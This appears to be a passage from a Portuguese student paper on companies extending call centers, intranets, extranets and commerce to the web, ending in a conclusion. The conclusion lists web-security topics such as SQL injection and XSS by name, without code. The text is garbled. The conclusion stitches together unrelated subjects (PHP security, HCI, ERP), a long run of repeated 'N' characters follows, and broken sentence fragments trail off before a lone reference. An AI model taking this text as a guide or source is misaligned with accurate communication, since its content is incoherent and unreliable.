Algumas empresas têm estendido seus Call Centers até a Web, oferecendo os serviços básicos que o Call Center tradicional atende, sem a barreira de horário ou de telefone ocupado. Este serviço, se implantado diretamente no ERP, pode disparar ações diretamente, agilizando o processo de atendimento ao cliente, bem como representando um fator de racionalização.
Muitas companhias estão implementando intranets para compartilhar informações de forma mais eficiente. Têm seus web sites fornecendo informações atualizadas sobre as direções da empresa, produtos e novidades, atingindo clientes potenciais, clientes existentes, parceiros e investidores.
Outras empresas transformam seus web sites em extranets de relacionamento, onde fornecedores e parceiros acessam informações privilegiadas, pertinentes ao relacionamento. Algumas outras criaram sites de comércio, com muita diversidade de sofisticação, permitindo compras online.
Conclusão
Neste trabalho da para ter uma noção do que é SSL, segurança em comercio eletrônico e também sobre códigos seguros (PHP) como Register Globals, Arquivos include, SQL injection como proteger arquivos, Cross Site Scriptig (CSS/SXX), comando schell, senhas de banco de dados. Foram observadas de maneira geral, as principais características que envolvem a área de IHC como também a sua importância no nosso dia a dia. ERP concebido para a área de manufatura industrial – esses sistemas tiveram seu escopo ampliado e passaram a ser utilizados por organizações dos mais diversos segmentos. A compreensão desses sistemas bem como a sua ampla utilização pelas organizações estão melhorando o entendimento e a integração dos processos empresariais.
Nnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnpode- pouco sobre o que 
o levantamento dos dados da empresa com foco para o futuro desenvolvimentoConclusão 
7. REFERÊNCIAS
www.ethos.org.br

Continue navegando